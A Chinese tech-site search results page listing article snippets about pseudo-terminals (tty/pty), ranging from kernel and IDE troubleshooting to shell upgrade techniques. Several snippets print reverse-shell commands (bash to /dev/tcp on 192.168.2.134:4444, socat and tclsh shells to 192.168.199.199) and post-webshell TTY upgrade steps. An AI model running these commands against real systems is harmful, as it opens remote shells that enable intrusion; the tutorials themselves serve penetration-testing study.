首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏漫流砂

    python pty & magic | 加固shell

    使用 python 的 pty 来转换为 交互式shell python3 -c 'import pty; pty.spawn("/bin/bash")' 也可以使用python3 -c "__import 看来代码补全还是不行,查了资料,可以使用 stty 来进行优化,将哑 shell 转换为全能shell 在 python3 -c 'import pty; pty.spawn("/bin/bash")'

    2.6K10发布于 2020-08-20
  • 来自专栏kayden

    实现交互式shell的几种方式:python pty 方式、升级nc、socat、script获取pty

    ---- 实现交互式shell的几种方式:python pty 方式、升级nc、socat、script获取pty 前言 当我们拿到一个webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的 1. python pty 方式 一般我们都会使用nc来接收反弹来的shell,只需要在目标上(以linux为例)执行: bash -i >& /dev/tcp/192.168.2.134/4444 0 : failed tty get ubuntu@ubuntu:~$ tty tty not a tty 但是如果发现对方机器上有 python 的话,我们可以: python -c 'import pty ; pty.spawn("/bin/bash")' 可以实现简单的tty,但是这种方式有个问题,当我们ctrl+C的时候,所有连接都会断掉,又需要重新来一遍,而且vim虽然可以用,也有点问题,同时没有记录 ; pty.spawn("/bin/bash")' //启用python交互式 # 把它丢到后台挂起 $ ctrl + z # 重置stty,也就意味着你看不到输入的内容 $ stty raw

    6.7K21编辑于 2022-09-29
  • 来自专栏运维

    walle 报错 out of pty devices 处理

    问题: out of pty devices: ? dev/ptmx [root@VM_4_7_centos ~]# lsof /dev/ptmx |wc -l 8356 解决: [root@VM_4_7_centos ~]# lecho "kernel.pty.max sysctl.conf [root@VM_4_7_centos ~]# lsysctl -p 备注: 这个参数默认是1024,不知道walle这边为啥不释放,一直在增加,如果不重启服务器,在线解决只能修改kernel.pty.max 说明: pty - pseudoterminal interfaces A pseudoterminal (sometimes abbreviated "pty") is a pair of virtual 后续: 目前只是临时解决,这个参数默认是1024,不知道walle这边为啥不释放,一直在增加,如果不重启服务器,在线解决只能修改kernel.pty.max参数。后续更好的解决方案见github更进。

    1.3K10发布于 2020-02-13
  • 来自专栏乐沙弥的世界

    Linux 终端tty pty pts描述

    4、pty(虚拟终端): 我们在使用远程telnet到主机或使用xterm时也会产生一个终端交互,这就是虚拟终端pty(pseudo-tty) 例如,我们在X Window下打开的终端,以及我们在Windows 使用telnet 或ssh等方式登录Linux主机,此时均在使用pty设备(准确的说应该是pty从设备)。 5、pts/ptmx(pts/ptmx结合使用,进而实现pty): 伪终端(Pseudo Terminal)是终端的发展,为满足现在需求(比如网络登陆、xwindow窗口的管理)。 也就是说pts(pseudo-terminal slave)是pty的实现方法,和ptmx(pseudo-terminal master)配合使用实现pty。 三、演示tty与pty ###演示环境 [root@desktop ~]# cat /etc/redhat-release Red Hat Enterprise Linux Server release

    8K30发布于 2018-08-13
  • 来自专栏凯哥Java

    idea 启动命令行的时候提示不能创建PTY

    结果到下午使用idea的Terminal 命令行的时候提示,如下图错误: failed tostart[cmd.exe] 然后重新安装了ieda,又提示如下错误:counld't create PTY Please exclude the following files in your antivirus: - E:\kaigejava\ideaIU-2020.1.2.win\lib\pty4j-native \win\x86_64\winpty-agent.exe - E:\kaigejava\ideaIU-2020.1.2.win\lib\pty4j-native\win\x86_64\winpty.dll 但是这个需要重启电脑哦~ 具体步骤: 将: - E:\kaigejava\ideaIU-2020.1.2.win\lib\pty4j-native\win\x86_64\winpty-agent.exe - E:\kaigejava\ideaIU-2020.1.2.win\lib\pty4j-native\win\x86_64\winpty.dll 这两个文件添加到360信任区。

    1.3K10发布于 2020-06-07
  • 来自专栏北京马哥教育

    Linux基础之终端、控制台、tty、pty等概念简介

    2>pty(伪终端,虚拟终端): 但是如果我们远程telnet到主机或使用xterm时不也需要一个终端交互么? 是的,这就是虚拟终端pty(pseudo-tty) 3>pts/ptmx(pts/ptmx结合使用,进而实现pty): pts(pseudo-terminal slave)是pty的实现方法,与ptmx (pseudo-terminal master)配合使用实现pty。 2、伪终端(/dev/pty/) 伪终端(Pseudo Terminal)是成对的逻辑终端设备(即master和slave设备, 对master的操作会反映到slave上)。 例如/dev/ptyp3和/dev/ttyp3(或者在设备文件系统中分别是/dev/pty /m3和 /dev/pty/s3)。它们与实际物理设备并不直接相关。

    3.9K00发布于 2019-11-05
  • 来自专栏北京马哥教育

    Linux基础之终端、控制台、tty、pty等概念简介

    2>pty(伪终端,虚拟终端): 但是如果我们远程telnet到主机或使用xterm时不也需要一个终端交互么? 是的,这就是虚拟终端pty(pseudo-tty) 3>pts/ptmx(pts/ptmx结合使用,进而实现pty): pts(pseudo-terminal slave)是pty的实现方法,与ptmx (pseudo-terminal master)配合使用实现pty。 2、伪终端(/dev/pty/) 伪终端(Pseudo Terminal)是成对的逻辑终端设备(即master和slave设备, 对master的操作会反映到slave上)。 例如/dev/ptyp3和/dev/ttyp3(或者在设备文件系统中分别是/dev/pty /m3和 /dev/pty/s3)。它们与实际物理设备并不直接相关。

    3.7K80发布于 2018-05-02
  • 来自专栏后端云

    Web Terminal 预备知识

    PTY 是通过打开特殊的设备文件 /dev/ptmx 创建,由一对双向的字符设备构成,称为 PTY master 和 PTY slave。 gnome-terminal 负责监听键盘事件,通过PTY master接收或发送字符到 PTY slave,还会在屏幕上绘制来自PTY master的字符输出。 bash fork 出的进程拥有和 bash 相同的标准输入、标准输出和标准错误,也就是PTY slave ls 运行,结果打印到标准输出,也就是PTY slave TTY 驱动将字符复制到PTY master 用户在客户端的 terminal 中输入 ssh 命令,经过 PTY master、TTY 驱动,到达 PTY slave。 在服务器端 TTY 驱动将字符序列传送给 PTY slave,bash 从 PTY slave读取字符,解释并执行命令 ls -l。

    2K20编辑于 2022-11-25
  • 来自专栏goodcitizen

    [apue] 书中关于伪终端的一个纰漏

    先上代码 pty.c pty_fun.c 这是书上标准的 pty 程序,简单说起来就是提供一个伪终端给被调用程序使用,例如 pty prog arg1 arg2 相当于在新的伪终端上执行 prog arg1 ,pty 父进程负责读取标准输入,将内容导入到伪终端主设备(pty main device),也就是 slowout 的输入; pty 子进程负责从伪终端主设备(pty main device) 读取数据 作者认为问题出现在 pty 父进程向 pty 子进程发送的这个 SIGTERM 信号上,因为重定向到 /dev/null 后,pty 父进程会从 stdin 读到 EOF, 从而向 pty 子进程发送 /pty -i . /pty -i .

    64620编辑于 2022-08-19
  • 来自专栏mazhen.tech

    理解Linux 终端、终端模拟器和伪终端

    PTY 是通过打开特殊的设备文件 /dev/ptmx 创建,由一对双向的字符设备构成,称为 PTY master 和 PTY slave。 gnome-terminal 负责监听键盘事件,通过PTY master接收或发送字符到 PTY slave,还会在屏幕上绘制来自PTY master的字符输出。 bash fork 出的进程拥有和 bash 相同的标准输入、标准输出和标准错误,也就是PTY slave ls 运行,结果打印到标准输出,也就是PTY slave TTY 驱动将字符复制到PTY master 用户在客户端的 terminal 中输入 ssh 命令,经过 PTY master、TTY 驱动,到达 PTY slave。 在服务器端 TTY 驱动将字符序列传送给 PTY slave,bash 从 PTY slave读取字符,解释并执行命令 ls -l。

    3.9K10编辑于 2023-11-24
  • Clion控制台输出中文乱码问题解决

    伪终端(PTYPTY是物理终端的软件模拟(例如老式的文本终端或现代的终端模拟器如bash、zsh或 Windows Terminal)。 、stderr)路由到这个 PTY(而非直接连接到 IDE 面板) 让 PTY 在程序和 IDE 之间转发数据: 程序输出(到stdout/stderr)→ PTY → IDE 面板(供你查看) 你的输入 (来自 IDE 面板)→ PTY → 程序(通过stdin) 禁用此选项时,IDE 会将程序的 I/O 直接连接到自己的面板(不涉及 PTY)。 分配 PTY" 选项直接控制这种行为。 IDE 支持:为何目前仅 CLion/PyCharm 说明中提到 "并非所有 IDE 都检查此选项或支持 PTY",原因如下: PTY 实现依赖操作系统:PTY 在 Linux/macOS(符合 POSIX

    1.6K21编辑于 2025-10-16
  • 来自专栏虚拟化云计算

    如何使用虚拟机的串口和控制台

    type='virtio' port='1'/> </console> 说明: *可以有多个pty类型的serial,每一个serial对应的pty设备都被重定向到/dev/pts/下的一个设备 *可以有多个pyt类型的console,每一个console对应的pty设备都被重定向到/dev/pts/下的一个设备。 以重定向到PseudoTTY的方式演示串口通讯: 给虚拟机添加一个pty类型的串口(第一个pty串口默认给console使用,这里用第二个串口) <serial type='<em>pty</em>'> 附 对应的qemu中添加一个pty类型的serial: -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 对应的qemu中添加一个pty类型target是virtio的console: -chardev pty,id=charconsole1 -device virtconsole,chardev=charconsole1

    6.2K21发布于 2018-07-23
  • 来自专栏刘晓杰

    18(终端IO)和19(伪终端)

    #include <fcntl.h> int posix_openpt(int oflag); Returns: file descriptor of next available PTY #include <stdlib.h> char *ptsname(int filedes); Returns: pointer to name of PTY slave 前者打开下一个可用的pty主设备,后者打开相应的从设备 #include "apue.h" int ptym_open(char *pts_name, int pts_namesz); : file descriptor of PTY slave if OK, 1 on error //pts_namesz表示缓冲区长度 pty_fork函数 我们现在使用前面的两个函数ptym_open 和ptys_open来写一个新的函数pty_fork。

    1.3K30发布于 2019-02-21
  • 来自专栏FreeBuf

    如何将简单的Shell转换成为完全交互式的TTY

    方法1:Python pty模块 对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下: python -c 'import pty ; pty.spawn("/bin/bash")' 在创建完成后,我们此时就可以运行su命令了。 首先我们使用与方法1相同的技术来生成PTY。一旦bash在PTY中运行,我们按Ctrl-Z键将shell调至后台运行 ? Cheatsheet Cheatsheet命令: 使用Python作为一个伪终端 python -c 'import pty; pty.spawn("/bin/bash")' 使用socat #Listener ,sane tcp:10.0.3.4:4444 使用stty选项 # In reverse shell $ python -c 'import pty; pty.spawn("/bin/bash")'

    6.2K40发布于 2018-02-28
  • 来自专栏七夜安全博客

    不一样的 "反弹Shell" 系统剖析

    生成交互式反弹shell大致有两种方式,一种是直接反弹pty,另一种是在普通反弹shell中,生成pty。 (1) 直接反弹pty 在Python中有一个pty的包,专门用来生成伪终端,我们可以使用pty 反弹bash,并与之绑定: $ python -c 'import socket,subprocess, (2) 在普通shell中生成pty 在非交互式 或半交互式反弹shell中,利用python 执行如下命令,即可生成pty,相当于把上面的一句话拆成了两部分使用,这种还是比较常见的。 $ python -c 'import pty; pty.spawn("/bin/bash")' ? 如果系统中没有python环境,比如容器中,如果系统存在script命令也是可以。 ,stderr,setsid,sigint,sane tcp:127.0.0.1:8080 (2) pty + 重置终端 "pty + 重置终端"的方式真的很奇妙,强制反弹shell匹配控制端的本地终端

    3.8K40发布于 2020-06-16
  • 来自专栏嵌入式艺术

    一文了解TTY子系统框架

    其有3种不通类型的驱动:**控制台,串口,pty**。其中,控制台和 pty 驱动已经被编写进内核。 usbserial /dev/ttyUSB 188 0-254 serial serial /dev/ttyS 4 64-67 serial pty_slave /dev/pts 136 0-255 pty:slave pty_master /dev/ptm 128 0-255 pty:master pty_slave /dev/ttyp 3 0-255 pty:slave pty_master /dev/pty 2 0- 255 pty:master unknown /dev/tty 4 1-63 console 设备模型的角度 所有当前注册的以及在内核中出现的tty设备,

    2.5K10编辑于 2023-01-18
  • 来自专栏前端杂货铺

    支持多用户web终端实现及安全保障(nodejs)

    关于终端(tty)与伪终端(pty)的区别,大家可以参考What do pty and tty mean? 调研 终端,在我们认知范围内略同于命令行工具,通俗点说就是可以执行shell的进程。 在此处借鉴pty.js的实现思路: pid_t pid = pty_forkpty(&master, name, NULL, &winp); switch (pid) { case - 在底层实现pty模型后,在node层需要做一些stdio的操作。 详情请看参考文献之forkpty实现 另外,pty库提供了伪终端的大小设置,因此我们通过参数可以调整伪终端输出信息的布局信息,因此这也提供了在web端调整命令行宽高的功能,只需在pty层设置伪终端窗口大小即可 web终端安全性保证 基于glibc提供的pty库实现伪终端后台,是没有任何安全性保证的。

    1.9K50发布于 2018-03-15
  • 来自专栏大大刺猬

    [Linux] linux审计脚本 -- 录屏用户操作 (记录用户屏幕输出内容)

    今天看python文档pty的时候看到个官方例子就是使用一个伪终端来模拟终端. 这不就是我们要的方法么.官方链接: https://docs.python.org/3/library/pty.html操作过程官方的例子, 实际上就可以直接使用的. data_auditchmod o+rw /data_audit # 得给其它账号写的权限然后在/data_audit文件下创建一个脚本(模拟终端的).cat << EOF > /data_audit/.pty.py pty login on file:'+filename) script.write(('login %s\n' % time.asctime()).encode()) pty.spawn( 十分的方便.参考: https://docs.python.org/3/library/pty.html

    70930编辑于 2024-07-16
  • IDE与助手系列04 | VSCode本地工具链管理:技术与案例

    VSCode中,javac输出的传递路径javac的输出并不是直接通过管道传递给VS Code终端,而是通过node-pty库创建的伪终端(PTY)进行传递。 _logService.trace('node-pty.IPty#onData', data); this. 伪终端(Pseudo-Terminal,pty):插件可通过 VSCode API 创建虚拟终端,模拟终端行为。 4.1 伪终端(PTY)与管道的区别 特性伪终端(PTY)管道(Pipe)双向通信✅ 支持输入输出双向通信❌ 单向通信(通常)终端环境模拟✅ 完全模拟终端环境❌ 无终端环境信号处理✅ 支持终端信号 【伪终端技术(如 node-pty)】 用途:模拟完整终端(TTY)行为,支持交互式命令行工具(如 bash、python)。

    11700编辑于 2026-01-18
  • 来自专栏Urahara Blog

    Some Linux Hacking Tricks

    ; }; close $s;' | tclsh # tcp # Use Socat $ socat tcp-connect:192.168.199.199:5555 exec:"bash -li",pty \033[m ')" nc -lvvp 4444 Upgrading simple shells to fully interactive TTYs ## use Python to spawn a pty python -c 'import pty; pty.spawn("/bin/bash")' ## Using socat # Socat is like netcat and it can be interact # In reverse shell expect sh.exp ## Using stty options # # In reverse shell python -c 'import pty ; pty.spawn("/bin/bash")' Ctrl-Z # In attack shell stty raw -echo fg # In reverse shell reset export

    67020发布于 2019-12-11
领券